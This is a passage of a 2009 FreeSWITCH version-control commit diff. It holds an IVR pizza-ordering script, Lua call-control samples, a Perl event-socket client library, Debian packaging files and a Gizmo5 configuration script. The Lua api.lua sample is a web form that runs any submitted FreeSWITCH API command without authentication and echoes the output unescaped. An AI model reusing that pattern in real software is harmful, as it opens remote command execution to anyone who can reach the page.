+	if (!session.ready()) {
+		return false;
+	}
+	if (!pizza.said_greet) {
+		asr.streamFile("GP-Greeting");
+		pizza.said_greet = true;
+	}
+};
+
+/***************** Collect Order Type *****************/
+pizza.getOrder = function() {
+	if (!session.ready()) {
+		return false;
+	}
+	if (!pizza.order) {
+		var items = pizza.get(pizza.orderObtainer, true);
+		pizza.order = items[0];
+	}
+};
+
+/***************** Collect Size *****************/
+pizza.getSize = function() {
+	if (!session.ready()) {
+		return false;
+	}
+	if (!pizza.size) {
+		var items = pizza.get(pizza.sizeObtainer, true);
+		pizza.size = items[0]; 
+	}
+};
+
+/***************** Collect Crust *****************/
+pizza.getCrust = function() {
+	if (!session.ready()) {
+		return false;
+	}
+	if (!pizza.crust) {
+		var items = pizza.get(pizza.crustObtainer, true);
+		pizza.crust = items[0];
+	}
+};
+
+/***************** Collect Pizza Type *****************/
+pizza.getType = function() {
+	if (!session.ready()) {
+		return false;
+	}
+	if (!pizza.type) {
+		var items = pizza.get(pizza.typeObtainer, true);
+		pizza.type = items[0]; 
+	}
+};
+	
+/***************** Collect Toppings *****************/
+pizza.getToppings = function() {
+	if (!session.ready()) {
+		return false;
+	}
+	if (pizza.type == "Specialty" && !pizza.specialty) {
+		var items = pizza.get(pizza.specialtyObtainer, true);
+		pizza.specialty = items[0];
+		pizza.have_toppings = true;
+	} else if (!pizza.have_toppings) {
+		toppings = pizza.get(pizza.toppingsObtainer, false);
+		for(x = 0; x < toppings.length; x++) {
+			pizza.toppings[toppings[x]] = pizza.add_rem;
+		}
+		pizza.have_toppings = true;
+	}
+};
+
+/***************** Modify Pizza If You Don't Like It *****************/
+pizza.fix = function() {
+	if (!session.ready()) {
+		return false;
+	}
+	asr.streamFile("GP-Wanted-No");
+	arso = pizza.get(pizza.arsoObtainer, false);
+	for (x = 0; x < arso.length; x++) {
+		if (arso[x] == "delivery") {
+			pizza.order = false;
+		} else if (arso[x] == "size") {
+			pizza.size = false;
+		} else if (arso[x] == "crust") {
+			pizza.crust = false;
+		} else if (arso[x] == "startover") {
+			pizza.init();
+		} else {
+			if (pizza.type == "Specialty") {
+				asr.streamFile("GP-ChangeSpec");
+				pizza.type = false;
+				pizza.clearToppings();
+			} else {
+				pizza.have_toppings = false;
+				if (arso[x] == "add_topping") {
+					pizza.add_rem = "add";
+					pizza.toppingsObtainer.setTopSound("GP-Adding");
+				} else {
+					pizza.add_rem = "rem";
+					pizza.toppingsObtainer.setTopSound("GP-Remove");
+				}
+			}
+		}
+	}
+};
+
+/***************** Tie It All Together *****************/
+pizza.run = function() {
+	pizza.init();
+	
+	for(;;) {
+		if (!session.ready()) {
+			break;
+		}
+		pizza.greet();
+		pizza.getOrder();
+		pizza.getSize();
+		pizza.getCrust();
+		pizza.getType();
+		pizza.getToppings();
+
+		if (pizza.check()) {
+			asr.streamFile(pizza.order);
+			break;
+		} else {
+			pizza.fix();
+		}
+	}
+};
+
+/***************** Begin Program *****************/
+session.answer();
+pizza.run();
+asr.stop();

Copied: freeswitch/branches/seven/scripts/lua/api.lua (from rev 14471, freeswitch/trunk/scripts/lua/api.lua) (0 => 14472)


--- freeswitch/branches/seven/scripts/lua/api.lua	                        (rev 0)
+++ freeswitch/branches/seven/scripts/lua/api.lua	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,24 @@
+stream:write("Content-Type: text/html\n\n");
+stream:write("<title>FreeSWITCH Command Portal</title>");
+stream:write("<h2>FreeSWITCH Command Portal</h2>");
+stream:write("<form method=post><input name=command size=40> ");
+stream:write("<input type=submit value=\"Execute\">");
+stream:write("</form><hr noshade size=1><br>");
+
+command = env:getHeader("command");
+
+if (command)  then
+   api = freeswitch.API();
+   reply = api:executeString(command);
+
+   if (reply) then
+      stream:write("<br><B>Command Result</b><br><pre>" .. reply .. "\n</pre>");
+   end
+
+end
+
+env:addHeader("cool", "true");
+stream:write("<pre>" .. env:serialize() .. "</pre>");
+
+
+

Modified: freeswitch/branches/seven/scripts/lua/callback.lua (14471 => 14472)


--- freeswitch/branches/seven/scripts/lua/callback.lua	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/scripts/lua/callback.lua	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,57 +1,86 @@
 function all_done(s, how)
-   io.write("done: " .. how .. "\n");
+   freeswitch.console_log("info", "done: " .. how .. "\n");
 end
 
 function my_cb(s, type, obj, arg)
    if (arg) then
-      io.write("type: " .. type .. "\n" .. "arg: " .. arg .. "\n");
+      freeswitch.console_log("info", "\ntype: " .. type .. "\n" .. "arg: " .. arg .. "\n");
    else
-      io.write("type: " .. type .. "\n");
+      freeswitch.console_log("info", "\ntype: " .. type .. "\n");
    end
 
    if (type == "dtmf") then
-      io.write("digit: [" .. obj['digit'] .. "]\nduration: [" .. obj['duration'] .. "]\n"); 
+      freeswitch.console_log("info", "\ndigit: [" .. obj['digit'] .. "]\nduration: [" .. obj['duration'] .. "]\n"); 
 
+
       if (obj['digit'] == "1") then
-         return "pause";
+	 --session:speak("seek backwards");
+         return "seek:-9000";
       end
 
       if (obj['digit'] == "2") then
-         return "seek:+3000";
+	 --session:speak("start over");
+         return "seek:0";
       end
 
       if (obj['digit'] == "3") then
-         return "seek:-3000";
+	 --session:speak("seek forward");
+         return "seek:+9000";
       end
 
       if (obj['digit'] == "4") then
-         return "seek:+3000";
+	 --session:speak("speed faster");
+         return "speed:+1";
       end
 
       if (obj['digit'] == "5") then
-         return "speed:+1";
+	 --session:speak("speed normal");
+         return "speed:0";
       end
+
       if (obj['digit'] == "6") then
-         return "speed:0";
+	 --session:speak("speed slower");
+         return "speed:-1";
       end
+
       if (obj['digit'] == "7") then
-         return "speed:-1";
+	 --session:speak("volume up");
+         return "volume:+1";
       end
 
       if (obj['digit'] == "8") then
+	 --session:speak("volume normal");
+         return "volume:0";
+      end
+
+      if (obj['digit'] == "9") then
+	 --session:speak("volume down");
+         return "volume:-1";
+      end
+
+      if (obj['digit'] == "*") then
+	 --session:speak("stop");
          return "stop";
       end
 
-      if (obj['digit'] == "9") then
+      if (obj['digit'] == "0") then
+	 --session:speak("pause");
+         return "pause";
+      end
+
+      if (obj['digit'] == "#") then
          return "break";
       end
+
    else
-      io.write(obj:serialize("xml"));
+      freeswitch.console_log("info", obj:serialize("xml"));
 
    end
 end
 
 blah = "args";
+---session:set_tts_parms("flite", "kal");
 session:setHangupHook("all_done");
 session:setInputCallback("my_cb", "blah");
-session:streamFile("/tmp/swimp.raw");
+session:streamFile("/ram/swimp.raw");
+--session:speak("Thank you, good bye!");

Copied: freeswitch/branches/seven/scripts/lua/zrtp_agent.lua (from rev 14471, freeswitch/trunk/scripts/lua/zrtp_agent.lua) (0 => 14472)


--- freeswitch/branches/seven/scripts/lua/zrtp_agent.lua	                        (rev 0)
+++ freeswitch/branches/seven/scripts/lua/zrtp_agent.lua	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,38 @@
+-- ZRTP Enrollment Agent
+session:setVariable("zrtp_secure_media", "true");
+session:setVariable("zrtp_enrollment", "true");
+session:sleep(100);
+session:answer();
+session:streamFile("zrtp/zrtp-status_securing.wav");
+session:sleep(3000);
+-- Give the agent time to bring up ZRTP.
+
+local zrtp_secure_media_confirmed = session:getVariable("zrtp_secure_media_confirmed");
+local zrtp_new_user_enrolled = session:getVariable("zrtp_new_user_enrolled");
+local zrtp_already_enrolled = session:getVariable("zrtp_already_enrolled");
+
+if zrtp_secure_media_confirmed == "true" then
+   session:streamFile("zrtp/zrtp-status_secure.wav");
+else
+   session:streamFile("zrtp/zrtp-status_notsecure.wav");
+end
+
+session:streamFile("zrtp/zrtp-enroll_welcome.wav");
+session:sleep(1000);
+
+if zrtp_secure_media_confirmed == "true" then
+   if zrtp_new_user_enrolled == "true" then 
+      session:streamFile("zrtp/zrtp-enroll_confirmed.wav");
+      session:sleep(3000);
+   else
+      if zrtp_already_enrolled == "true" then 
+	 session:streamFile("zrtp/zrtp-enroll_already_enrolled.wav");
+      end 
+   end
+else 
+   session:streamFile("zrtp/zrtp-enroll_notzrtp.wav");
+end
+
+session:sleep(1000);
+session:streamFile("zrtp/zrtp-thankyou_goodbye.wav");
+session:sleep(1000);

Deleted: freeswitch/branches/seven/scripts/mklm

Deleted: freeswitch/branches/seven/scripts/mytest.py

Copied: freeswitch/branches/seven/scripts/perl/FreeSWITCH (from rev 14471, freeswitch/trunk/scripts/perl/FreeSWITCH)

Deleted: freeswitch/branches/seven/scripts/perl/FreeSWITCH/ChangeLog

Copied: freeswitch/branches/seven/scripts/perl/FreeSWITCH/ChangeLog (from rev 14471, freeswitch/trunk/scripts/perl/FreeSWITCH/ChangeLog) ( => )



Deleted: freeswitch/branches/seven/scripts/perl/FreeSWITCH/Client.pm

Copied: freeswitch/branches/seven/scripts/perl/FreeSWITCH/Client.pm (from rev 14471, freeswitch/trunk/scripts/perl/FreeSWITCH/Client.pm) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/FreeSWITCH/Client.pm	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/FreeSWITCH/Client.pm	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,305 @@
+package FreeSWITCH::Client;
+$|=1;
+use IO::Socket::INET;
+use IO::Select;
+use Data::Dumper;
+
+$VERSION = "1.0";
+
+sub init($;$) {
+  my $proto = shift;
+  my $args = shift;
+  my $class = ref($proto) || $proto;
+  $self->{_host} = $args->{-host} || "localhost";
+  $self->{_port} = $args->{-port} || 8021;
+  $self->{_password} = $args->{-password} || undef; 
+  $self->{_tolerant} = $args->{-tolerant} || undef;
+
+  $self->{events} = [];
+  my $me = bless $self,$class;
+  if (!$self->{_password}) {
+    return $me;
+  }
+  if ($me->connect()) {
+    return $me;
+  } else {
+    return undef;
+  }
+}
+
+sub readhash($;$) {
+  my ($self,$to) = @_;
+  my ($can_read) = IO::Select::select($self->{_sel}, undef, undef, $to);
+  my $s = shift @{$can_read};
+  my @r = ();
+  my $crc = 0;
+  my $h;
+
+  if ($s) {
+    for (;;) {
+      my $line;
+      for (;;) {
+	my $i = 0;
+	recv $s, $i, 1, 0;
+	if ($i eq "") {	  
+	  $h->{socketerror} = "yes";
+	  return $h;
+	} elsif ($i eq "\n") {
+	  $crc++;
+	  last;
+	} else {
+	  $crc = 0;
+	}
+	$line .= $i;      
+      }
+
+      if (!$line) {
+	last;
+      }
+      push @r, $line;
+    }
+    
+    if (!@r) {
+      return undef;
+    }
+
+    foreach(@r) {
+      my ($var, $val) = /^([^:]+):[\s\t]*(.*)$/;
+      $h->{lc $var} = $val;
+    }
+    
+    if ($h->{'content-length'}) {
+      if(! defined $h->{body}) { $h->{body} = ""; }
+      while(length($h->{body}) < $h->{'content-length'}) {
+	my $buf;
+	recv $s, $buf, $h->{'content-length'} - length($h->{body}), 0;
+	if ($buf eq '') {
+	  $h->{socketerror} = "yes";
+	  return $h;	  
+	}
+	$h->{body} .= $buf;
+      }
+    }
+
+    if ($h->{'content-type'} eq "text/event-plain") {
+      my $e = $self->extract_event($h);
+      $h->{has_event} = 1;
+      $h->{event} = $e;
+    }    
+  }
+    
+
+
+  return $h;
+
+}
+
+sub error($$) {
+  my($self,$error) = @_;
+
+  if ($self->{"_tolerant"}) {
+      print "[DIE CROAKED] $error\n";
+      return 0;
+  }
+  else {
+      die $error;
+  }
+}
+
+
+sub output($$) {
+  my ($self,$data) = @_;
+  my $s = $self->{_sock};
+
+  print $s $data ;
+}
+
+sub get_events($) {
+  my $self = shift;
+  my $e = $self->{events};
+  $self->{events} = [];
+  return $e;
+}
+
+sub sendmsg($$$) {
+  my $self = shift;
+  my $sendmsg = shift;
+  my $to = shift;
+  my $e;
+
+  for(;;) {
+    $e = $self->readhash(.1);
+    if ($e && !$e->{socketerror}) {
+      push @{$self->{events}}, $e;
+    } else  {
+      last;
+    }
+  }
+
+  $self->output($sendmsg->{command} . "\n");
+  foreach(keys %{$sendmsg}) {
+    next if ($_ eq "command");
+    $self->output("$_" . ": " . $sendmsg->{$_} . "\n");
+  }
+  $self->output("\n");
+
+  return $self->readhash($to);
+}
+
+sub command($$) {
+  my $self = shift;
+  my $reply;
+
+  my $r = $self->sendmsg({ 'command' => "api " . shift });
+
+  if ($r->{body} ne '') {
+    $reply = $r->{body};
+  } elsif ($r->{'reply-text'} ne '') {
+    $reply = $r->{'reply-text'};
+  } else {
+    $reply = "socketerror";
+  }
+
+  return $reply;
+}
+
+sub disconnect($) {
+  my $self = shift;
+  if ($self->{_sock}) {
+    $self->{_sock}->shutdown(2);
+    $self->{_sock}->close();
+  }
+  undef $self->{_sock};
+  delete $self->{_sock};
+}
+
+sub raw_command($) {
+  my $self = shift;
+  return $self->sendmsg({ 'command' => shift });
+}
+
+sub htdecode($;$) {
+  my $urlin = shift;
+  my $url = (ref $urlin) ? \$$urlin : \$urlin;
+  $$url =~ s/%([0-9A-Z]{2})/chr hex $1/ieg;
+  $$url;
+}
+
+
+sub extract_event($$) {
+  my $self = shift;
+  my $r = shift;
+
+
+  my %h = $r->{body} =~ /^([^:]+)\s*:\s*([^\n]*)/mg;
+
+  foreach (keys %h) {
+    my $new = lc $_;
+    if (!($new eq $_)) {
+      # do not delete keys that were already lowercase
+      $h{$new} = $h{$_};
+      delete $h{$_};
+    }
+  }
+  foreach(keys %h) {
+    htdecode(\$h{$_});
+  }
+  return \%h;
+}
+
+
+sub call_command($$$) {
+  my $self = shift;
+  my $app = shift;
+  my $arg = shift;
+
+  my $hash = {
+	      'command' => "sendmsg",
+	      'call-command' => "execute",
+	      'execute-app-name' => $app,
+	      'execute-app-arg' => $arg 
+	     };
+
+  return $self->sendmsg($hash);
+}
+
+sub unicast($$$$$$) {
+  my $self = shift;
+
+  my $hash = {
+	      'command' => "sendmsg",
+	      'call-command' => "unicast",
+	      'local_ip' => $_[0],
+	      'local_port' => $_[1],
+	      'remote_ip' => $_[2],
+	      'remote_port' => $_[3],
+	      'transport' => $_[4]
+	     };
+
+  return $self->sendmsg($hash);
+}
+
+sub call_data($) {
+  my $self = shift;
+
+  return $self->{call_data};
+}
+
+sub accept($;$$) {
+  my $self = shift;
+  my $ip = shift;
+  my $port = shift || 8084;
+
+  if (!$self->{_lsock}) {
+    $self->{_lsock} = IO::Socket::INET->new(Listen => 10000,
+					    LocalAddr => $ip,
+					    LocalPort => $port,
+					    Reuse => 1,
+					    Proto     => "tcp") or return $self->error("Cannot listen");
+
+  }
+  
+  $self->{_sock} = $self->{_lsock}->accept();
+  $self->{_sock}->autoflush(1);
+  $self->{_sel} = new IO::Select( $self->{_sock} );
+
+  $self->{call_data} = $self->sendmsg({ 'command' => "connect"});
+  foreach(keys %{$self->{call_data}}) {
+    htdecode(\$self->{call_data}->{$_});
+  }
+  if ($self->{call_data} =~ /socketerror/) {
+    return 0;
+  }
+
+  return 1;
+
+};
+
+sub connect($) {
+  my $self = shift;
+
+  $self->{_sock} = new IO::Socket::INET( Proto => 'tcp',
+					 PeerAddr => $self->{_host},
+					 PeerPort => $self->{_port}
+				       ) or return $self->error("Connection refused $self->{_host} port $self->{_port}");
+
+  $self->{_sock}->autoflush(1);
+  #$self->{_sock}->blocking(0);
+  $self->{_sel} = new IO::Select( $self->{_sock} );
+
+
+  my $h = $self->readhash(undef);
+
+  if ($h->{"content-type"} eq "auth/request") {
+    my $pass = $self->{"_password"};
+    $h = $self->sendmsg({command => "auth $pass"});
+  }
+
+  if ($h->{'reply-text'} =~ "OK") {
+    return 1;
+  }
+
+  return 0;
+}
+
+1;

Deleted: freeswitch/branches/seven/scripts/perl/FreeSWITCH/Makefile.PL

Copied: freeswitch/branches/seven/scripts/perl/FreeSWITCH/Makefile.PL (from rev 14471, freeswitch/trunk/scripts/perl/FreeSWITCH/Makefile.PL) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/FreeSWITCH/Makefile.PL	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/FreeSWITCH/Makefile.PL	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,10 @@
+use ExtUtils::MakeMaker;
+require 5.008;
+WriteMakefile(
+	NAME => 'FreeSWITCH::Client',
+	VERSION_FROM => 'Client.pm',
+	PREREQ_PM => {
+		'IO::Socket::INET' => 1.16,
+		'IO::Select' => 1.16,
+	},
+);

Deleted: freeswitch/branches/seven/scripts/perl/FreeSWITCH/README

Copied: freeswitch/branches/seven/scripts/perl/FreeSWITCH/README (from rev 14471, freeswitch/trunk/scripts/perl/FreeSWITCH/README) ( => )



Copied: freeswitch/branches/seven/scripts/perl/FreeSWITCH/debian (from rev 14471, freeswitch/trunk/scripts/perl/FreeSWITCH/debian)

Deleted: freeswitch/branches/seven/scripts/perl/FreeSWITCH/debian/changelog

Copied: freeswitch/branches/seven/scripts/perl/FreeSWITCH/debian/changelog (from rev 14471, freeswitch/trunk/scripts/perl/FreeSWITCH/debian/changelog) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/FreeSWITCH/debian/changelog	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/FreeSWITCH/debian/changelog	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,6 @@
+libfreeswitch-client-perl (1.0-1) unstable; urgency=low
+
+  * New upstream release.
+
+ -- Massimo Cetra <devel@navynet.it>  Sat, 14 Jun 2008 17:38:34 +0200
+

Deleted: freeswitch/branches/seven/scripts/perl/FreeSWITCH/debian/compat

Copied: freeswitch/branches/seven/scripts/perl/FreeSWITCH/debian/compat (from rev 14471, freeswitch/trunk/scripts/perl/FreeSWITCH/debian/compat) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/FreeSWITCH/debian/compat	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/FreeSWITCH/debian/compat	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1 @@
+4

Deleted: freeswitch/branches/seven/scripts/perl/FreeSWITCH/debian/control

Copied: freeswitch/branches/seven/scripts/perl/FreeSWITCH/debian/control (from rev 14471, freeswitch/trunk/scripts/perl/FreeSWITCH/debian/control) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/FreeSWITCH/debian/control	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/FreeSWITCH/debian/control	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,16 @@
+Source: libfreeswitch-client-perl
+Section: perl
+Priority: optional
+Build-Depends: debhelper (>= 5)
+Build-Depends-Indep: perl (>= 5.8.0-7), libmodule-install-perl,
+ libmodule-scandeps-perl (>= 0.51), libarchive-zip-perl,
+ libpar-dist-perl (>= 0.07), libdigest-sha1-perl, libmodule-signature-perl,
+ libgetopt-argvfile-perl (>= 1.06), gnupg, libinline-perl, libtest-pod-perl
+Maintainer: Massimo Cetra <devel@navynet.it>
+
+Package: libfreeswitch-client-perl
+Architecture: all
+Depends: ${perl:Depends}, ${misc:Depends}, libmodule-scandeps-perl (>=  0.51), libio-socket-ssl-perl (>= 0.97)
+Recommends: gnupg, libmodule-signature-perl, libpar-packer-perl
+Description: FreeSWITCH Client perl library
+    FreeSWITCH perl client library

Deleted: freeswitch/branches/seven/scripts/perl/FreeSWITCH/debian/copyright

Copied: freeswitch/branches/seven/scripts/perl/FreeSWITCH/debian/copyright (from rev 14471, freeswitch/trunk/scripts/perl/FreeSWITCH/debian/copyright) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/FreeSWITCH/debian/copyright	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/FreeSWITCH/debian/copyright	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,12 @@
+This package was debianized by Massimo Cetra (CtRiX) <devel@navynet.it> on
+Sat, 14 Jun 2008 12:12:19 +0200.
+
+It was downloaded from: http://www.freeswitch.org/
+
+The upstream author is: ?
+
+Copyright 2008 by - ?
+
+This program is free software, you can redistribute it and/or modify it under
+the terms  ???.
+

Deleted: freeswitch/branches/seven/scripts/perl/FreeSWITCH/debian/rules

Copied: freeswitch/branches/seven/scripts/perl/FreeSWITCH/debian/rules (from rev 14471, freeswitch/trunk/scripts/perl/FreeSWITCH/debian/rules) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/FreeSWITCH/debian/rules	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/FreeSWITCH/debian/rules	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,63 @@
+#!/usr/bin/make -f
+# This debian/rules file is provided as a template for normal perl
+# packages. It was created by Marc Brockschmidt <marc@dch-faq.de> for
+# the Debian Perl Group (http://pkg-perl.alioth.debian.org/) but may
+# be used freely wherever it is useful.
+
+# Uncomment this to turn on verbose mode.
+#export DH_VERBOSE=1
+
+# If set to a true value then MakeMaker's prompt function will
+# always return the default without waiting for user input.
+export PERL_MM_USE_DEFAULT=1
+
+PERL   ?= /usr/bin/perl
+PACKAGE = $(shell dh_listpackages)
+TMP     = $(CURDIR)/debian/$(PACKAGE)
+
+build: build-stamp
+build-stamp: $(QUILT_STAMPFN)
+	dh_testdir
+	$(PERL) Makefile.PL INSTALLDIRS=vendor
+	$(MAKE)
+	PERL_TEST_POD=1 $(MAKE) test
+	touch $@
+
+clean:
+	dh_testdir
+	dh_testroot
+	dh_clean build-stamp install-stamp
+	[ ! -f Makefile ] || $(MAKE) realclean
+
+install: install-stamp
+install-stamp: build-stamp
+	dh_testdir
+	dh_testroot
+	dh_clean -k
+	$(MAKE) install DESTDIR=$(TMP) PREFIX=/usr
+	# lintian override for a long line with a hash
+	# dh_installdirs /usr/share/lintian/overrides/
+	#install -m 644 $(CURDIR)/debian/lintian-overrides $(TMP)/usr/share/lintian/overrides/$(PACKAGE)
+	#[ ! -d $(TMP)/usr/lib/perl5 ] || \
+	#	rmdir --ignore-fail-on-non-empty --parents --verbose \
+	#	$(TMP)/usr/lib/perl5
+	touch $@
+
+binary-arch:
+# We have nothing to do here for an architecture-independent package
+
+binary-indep: build install
+	dh_testdir
+	dh_testroot
+	dh_installdocs README
+	dh_installchangelogs ChangeLog
+	dh_perl
+	dh_compress
+	dh_fixperms
+	dh_installdeb
+	dh_gencontrol
+	dh_md5sums
+	dh_builddeb
+
+binary: binary-indep binary-arch
+.PHONY: build clean binary-indep binary-arch binary install

Copied: freeswitch/branches/seven/scripts/perl/FreeSWITCH-GizmoConfig.pl (from rev 14471, freeswitch/trunk/scripts/perl/FreeSWITCH-GizmoConfig.pl) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/FreeSWITCH-GizmoConfig.pl	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/FreeSWITCH-GizmoConfig.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,252 @@
+#!/usr/bin/perl
+
+# Simple script to add XML configuration for FreeSWITCH to use Gizmo5's phone network.
+# This software has no support, warranty or liability: use at your own risk.
+# Run without arguments for help.
+
+use strict;
+
+sub main () {
+
+	my ($command) = parseArgs();
+	my ($err) = checkArgs($command);
+
+	if ($err) {
+
+		usage($err);
+		exit(1);
+
+	}
+
+
+	if ($command->{action}  && $command->{action} =~ /^add/i) {
+
+		if ($command->{object} && $command->{object} =~ /^gateway/i) {
+
+			($err) = createGizmo5Gateway($command) unless ($err);
+			($err) = createGizmo5DialPlan($command) unless ($err);
+
+			print "All files are in place.  You must restart FreeSWITCH or run the console command: xml_reload\n" unless ($err);
+			print "for any changes to take effect.\n" unless ($err);
+			
+		} elsif ($command->{object} && $command->{object} =~ /^callin/i) {
+
+			($err) = createGizmo5Callin($command) unless ($err);
+
+			print "All files are in place.  You must restart FreeSWITCH or run the console command: xml_reload\n" unless ($err);
+			print "for any changes to take effect.\n" unless ($err);
+
+		}
+
+
+	### No support to remove yet.
+	} elsif ($command->{action} && $command->{action} =~ /^del/i) {
+
+		if ($command->{object} && $command->{object} =~ /^gateway/i) {
+
+		} elsif ($command->{object} && $command->{object} =~ /^callin/i) {
+
+		}
+
+	}
+
+	if ($err) {
+
+		print "Error: $err\n";
+		exit(1);
+
+	}
+
+	exit(0);
+
+}
+
+sub createGizmo5Callin($) {
+
+	my ($command) = @_;
+
+	my $template = <<"END_O_FILE";
+<include>
+  <extension name="Gizmo5 DID SIP_DID">
+    <condition field="destination_number" expression="SIP_DID">
+      <action application="transfer" data="SIP_LOCALUSER XML default"/>
+    </condition>
+  </extension>
+</include>
+
+END_O_FILE
+	
+	$template =~ s/SIP_LOCALUSER/$command->{extension}/g;
+	$template =~ s/SIP_DID/$command->{did}/g;
+
+	return("Gizmo callin for $command->{did} appears to already exist at $command->{prefix}/conf/dialplan/public/01_gizmo-$command->{did}.xml") if (-e "$command->{prefix}/conf/dialplan/public/01_gizmo-$command->{did}.xml");
+
+	open(DEFAULT,">$command->{prefix}/conf/dialplan/public/01_gizmo-$command->{did}.xml") || return ("Unable to open $command->{prefix}/conf/dialplan/public/01_gizmo-$command->{did}.xml"); 
+	print DEFAULT $template;
+	close (DEFAULT);
+
+	return(); 
+
+}
+
+sub createGizmo5DialPlan($) {
+
+	my ($command) = @_;
+	my $template = <<"END_O_FILE";
+<!-- Gizmo5 default "catchall" dialplan extension. -->
+<!-- Calls to all Gizmo5 users and SIP domains are free. -->
+<!-- Callout to PSTN requires an account with a balance. -->
+<!-- Visit https://my.gizmo5.com to top-up your accounts.  -->
+
+<include>   
+  <extension name="Gizmo5 Default Gateway">
+    <condition field="destination_number" expression="^(.+)\$">
+      <action application="bridge" data="sofia/gateway/$command->{username}proxy01.sipphone.com/\$1"/>
+    </condition>
+  </extension>
+<include>
+
+END_O_FILE
+
+	return ("Gizmo Default callout appears to already exist at $command->{prefix}/conf/dialplan/default/01_gizmo-$command->{username}.xml") if (-e "$command->{prefix}/conf/dialplan/default/01_gizmo-$command->{username}.xml");
+
+	open(DEFAULT,">$command->{prefix}/conf/dialplan/default/01_gizmo-$command->{username}.xml") || return("Unable to open $command->{prefix}/conf/dialplan/default/01_gizmo-$command->{username}.xml");
+	print DEFAULT $template;
+	close (DEFAULT);
+
+
+	$template = <<"END_O_FILE";
+<!-- Gizmo5 default SIP Number -->
+<!-- This allows you to route incoming calls from your Gizmo5 account --> 
+<!-- to extension SIP_LOCALUSER. -->
+<!-- You can use more logic to route from here. -->
+
+<include>
+  <extension name="Gizmo5 Default Callin">
+    <condition field="destination_number" expression="SIP_DID">
+      <action application="transfer" data="SIP_LOCALUSER XML default"/>
+    </condition>
+  </extension>
+</include>
+
+END_O_FILE
+
+	$template =~ s/SIP_DID/$command->{username}/g;
+	$template =~ s/SIP_LOCALUSER/$command->{extension}/g;
+
+	return("Gizmo Default callin appears to already exist at $command->{prefix}/conf/dialplan/public/01_gizmo-$command->{username}.xml") if (-e "$command->{prefix}/conf/dialplan/public/01_gizmo-$command->{username}.xml");
+
+	open(DEFAULT,">>$command->{prefix}/conf/dialplan/public/01_gizmo-$command->{username}.xml") || return("Unable to open $command->{prefix}/conf/dialplan/public/01_gizmo-$command->{username}.xml");
+	print DEFAULT $template;
+	close (DEFAULT);
+	
+	return();
+}
+
+sub createGizmo5Gateway($) {
+
+	my ($command) = @_;
+
+	my $template = <<"END_O_FILE";
+<!-- Gizmo5 SIP Registration -->
+<!-- This is required for FreeSWITCH to work with Gizmo5 -->
+
+<include>
+  <user id="\$\${default_provider}\">
+    <gateways>
+      <gateway name="SIP_USERproxy01.sipphone.com">
+        <param name="username" value="SIP_USER"/>
+        <param name="from-domain" value="proxy01.sipphone.com"/>
+        <param name="password" value="SIP_PASS"/>
+        <param name="caller-id-in-from" value="false"/>
+        <param name="proxy" value="proxy01.sipphone.com"/>
+        <param name="expire-seconds" value="3600"/>
+        <param name="register-transport" value="tcp"/>
+        <param name="register" value="true"/>
+        <param name="retry_seconds" value="3600"/>
+      </gateway>
+    </gateways>
+  </user>
+</include>
+
+END_O_FILE
+
+	$template =~ s/SIP_USER/$command->{username}/g;
+	$template =~ s/SIP_PASS/$command->{password}/;
+
+	return "Gizmo Gateway appears to already exist at $command->{prefix}/conf/directory/default/01_gizmo-$command->{username}.xml" if (-e "$command->{prefix}/conf/directory/default/01_gizmo-$command->{username}.xml"); 
+
+	open(GIZMO,">$command->{prefix}/conf/directory/default/01_gizmo-$command->{username}.xml") || return ("Unable to open $command->{prefix}/conf/directory/default/01_gizmo-$command->{username}.xml to write");
+	print GIZMO $template;
+	close(GIZMO);
+
+	return();
+	
+}
+
+sub checkArgs($) {
+
+	my ($command) = @_;
+	my ($err) = 0;
+
+	return("Bad Action") if (!defined $command->{action} || $command->{action} !~ /^(add)/);
+	return("Bad Object") if (!defined $command->{object} || $command->{object} !~ /^(gateway|callin)$/i); 
+	return("Bad Username") if ($command->{action} && $command->{action} =~ /^add/i && (!defined $command->{username} || $command->{username} !~ /^1747\d{7}$/));
+	return("Bad Extension") if ($command->{action} && $command->{action} =~ /^add/i && (!defined $command->{extension} || $command->{extension} eq '' ));
+	return("No Password Given") if ($command->{action} && $command->{action} =~ /^add/i && $command->{object} && $command->{object} =~ /^gateway/i && (!defined $command->{password} || $command->{password} eq ''));
+	return("No Local Extension Given") if ($command->{action} && $command->{action} =~ /^add/i && $command->{object} && $command->{object} =~ /^callin/i && (!defined $command->{extension} || $command->{extension} eq ''));
+	return("DID must be purely numeric") if ($command->{action} && $command->{action} =~ /^add/i && $command->{object} && $command->{object} =~ /^callin/i && (!defined $command->{did} || $command->{did} !~ /^\d+$/));
+
+
+	return("Cannot find FreeSWITCH install at $command->{prefix}") unless (-e "$command->{prefix}/conf" && -d "$command->{prefix}/conf");
+	return("Cannot write to FreeSWITCH install at $command->{prefix}") unless (-w "$command->{prefix}/conf");
+
+	return();
+
+}
+
+sub parseArgs() {
+
+	my $command;
+
+	foreach (@ARGV) {
+
+		if (/^(.*)=(.*)/) {
+
